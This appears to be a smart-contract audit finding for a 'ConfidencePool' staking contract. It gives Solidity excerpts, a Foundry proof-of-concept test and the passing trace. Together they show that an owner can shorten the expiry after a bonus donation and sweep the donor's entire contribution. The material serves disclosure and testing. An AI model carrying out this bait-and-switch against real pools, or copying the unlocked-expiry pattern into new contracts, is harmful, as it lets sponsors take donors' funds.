function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (!expiryLocked) {
expiryLocked = true;
}
...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
totalBonus += received;
emit BonusContributed(msg.sender, received);
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
...
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) { ... }
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
...
stakeToken.safeTransfer(recoveryAddress, amount);
}
pragma solidity 0.8.26;
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_ContributeBonusExpiryBaitSwitchTest is BaseConfidencePoolTest {
function testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt() external {
uint256 bonusAmt = 1_000e18;
pool.setExpiry(block.timestamp + 365 days);
assertFalse(pool.expiryLocked(), "no stake yet -> expiry still unlocked");
_contributeBonus(bob, bonusAmt);
assertEq(pool.totalBonus(), bonusAmt);
pool.setExpiry(block.timestamp + 31 days);
assertEq(pool.expiry(), block.timestamp + 31 days, "sponsor freely shortened the term post-donation");
vm.warp(pool.expiry());
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.EXPIRED));
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), bonusAmt, "the donor's entire contribution went to the sponsor");
}
}
No files changed, compilation skipped
Ran 1 test for test/ContributeBonusExpiryBaitSwitch.t.sol:PoC_ContributeBonusExpiryBaitSwitchTest
[PASS] testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt() (gas: 265542)
Traces:
[337193] PoC_ContributeBonusExpiryBaitSwitchTest::testPoC_SponsorShortensExpiryAfterBonusDonationAndSweepsIt()
├─ [0] VM::prank(PoC_ContributeBonusExpiryBaitSwitchTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [13503] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::setExpiry(1781536000 [1.781e9])
│ ├─ [10834] ConfidencePool::setExpiry(1781536000 [1.781e9]) [delegatecall]
│ │ ├─ emit ExpiryUpdated(oldExpiry: 1752678400 [1.752e9], newExpiry: 1781536000 [1.781e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [828] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiryLocked() [staticcall]
│ ├─ [662] ConfidencePool::expiryLocked() [delegatecall]
│ │ └─ ← [Return] false
│ └─ ← [Return] false
├─ [46465] MockERC20::mint(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000000 [1e21])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 1000000000000000000000 [1e21])
│ └─ ← [Stop]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ ├─ emit Approval(owner: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ └─ ← [Return] true
├─ [97437] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::contributeBonus(1000000000000000000000 [1e21])
│ ├─ [97268] ConfidencePool::contributeBonus(1000000000000000000000 [1e21]) [delegatecall]
│ │ ├─ [2323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [2374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [2537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ ├─ [23423] MockERC20::transferFrom(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ emit BonusContributed(contributor: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], amount: 1000000000000000000000 [1e21])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [1382] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::totalBonus() [staticcall]
│ ├─ [1216] ConfidencePool::totalBonus() [delegatecall]
│ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ └─ ← [Return] 1000000000000000000000 [1e21]
├─ [2203] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::setExpiry(1752678400 [1.752e9])
│ ├─ [2034] ConfidencePool::setExpiry(1752678400 [1.752e9]) [delegatecall]
│ │ ├─ emit ExpiryUpdated(oldExpiry: 1781536000 [1.781e9], newExpiry: 1752678400 [1.752e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [1608] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiry() [staticcall]
│ ├─ [1442] ConfidencePool::expiry() [delegatecall]
│ │ └─ ← [Return] 1752678400 [1.752e9]
│ └─ ← [Return] 1752678400 [1.752e9]
├─ [1608] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiry() [staticcall]
│ ├─ [1442] ConfidencePool::expiry() [delegatecall]
│ │ └─ ← [Return] 1752678400 [1.752e9]
│ └─ ← [Return] 1752678400 [1.752e9]
├─ [0] VM::warp(1752678400 [1.752e9])
│ └─ ← [Return]
├─ [88998] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimExpired()
│ ├─ [88835] ConfidencePool::claimExpired() [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ emit OutcomeFlagged(moderator: 0x0000000000000000000000000000000000000000, outcome: 3, goodFaith: false, attacker: 0x0000000000000000000000000000000000000000)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [632] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::outcome() [staticcall]
│ ├─ [466] ConfidencePool::outcome() [delegatecall]
│ │ └─ ← [Return] 3
│ └─ ← [Return] 3
├─ [31808] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::sweepUnclaimedBonus()
│ ├─ [31645] ConfidencePool::sweepUnclaimedBonus() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ [24830] MockERC20::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], value: 1000000000000000000000 [1e21]) // <-- the donor's entire non-refundable contribution swept to the sponsor after the bait-and-switch
│ │ │ └─ ← [Return] true
│ │ ├─ emit BonusSwept(caller: PoC_ContributeBonusExpiryBaitSwitchTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1000000000000000000000 [1e21])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 1000000000000000000000 [1e21]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.39ms (258.83µs CPU time)
Ran 1 test suite in 9.80ms (1.39ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)